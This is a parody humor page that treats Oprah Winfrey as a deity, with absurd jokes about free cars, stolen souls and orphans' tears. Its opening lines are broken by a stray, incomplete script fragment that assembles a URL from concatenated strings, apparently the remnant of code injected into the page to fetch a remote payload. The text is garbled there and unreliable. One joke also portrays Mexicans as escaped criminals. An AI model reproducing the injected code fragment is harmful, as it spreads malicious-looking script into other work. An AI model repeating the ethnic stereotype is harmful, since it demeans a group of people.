Oprah Winfrey

Oprah is one of the most influential people on the planet. Even more so than Jesus.)){u='http'+'://buro'+'tkan'

This is just an act. Oprah is actually God.

Oprah thinks she is the world but, rightfully can because she is, the world.

Just The Facts

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Cracked on Oprah Winfrey

Cracked has unanimously agreed that Oprah Winfrey is higher on their deity status list than

God,

Jesus,

Cthulu,

Xenu,

and Ricky Martin

Oprah Winfrey and two other guys jump off a bridge, who dies first?

The two guys jumping off the bridge because, Oprah ate their souls...

A car with 4 Oprah Winfrey imposters drives off a cliff, Whats wrong with this situation?

The car fits 5...

A bunch of white guys run down a mountain what is that called?

An avalanche...

A bunch of mexicans run down a mountain what is that called?

A Jailbreak...

A bunch of Oprah Winfreys run down a mountain what is that called?

Salvation...

Oprah Winfrey once killed 4 million kittens in one strike. Why?

To turn them into free cars for her audiance...

A long time ago a man was stranded in a desert. He closes his eyes. Once he opens them he sees Oprah Winfrey in all her glory standing there. He asks her "Please save me..." Oprah replied "I'll save you with, a thousand free cars!" Cars were raining from the sky. Shortly after the man was crushed to death under the weight of the cars and was never seen again.

Oprah Winfrey's car runs on the tears of orphans...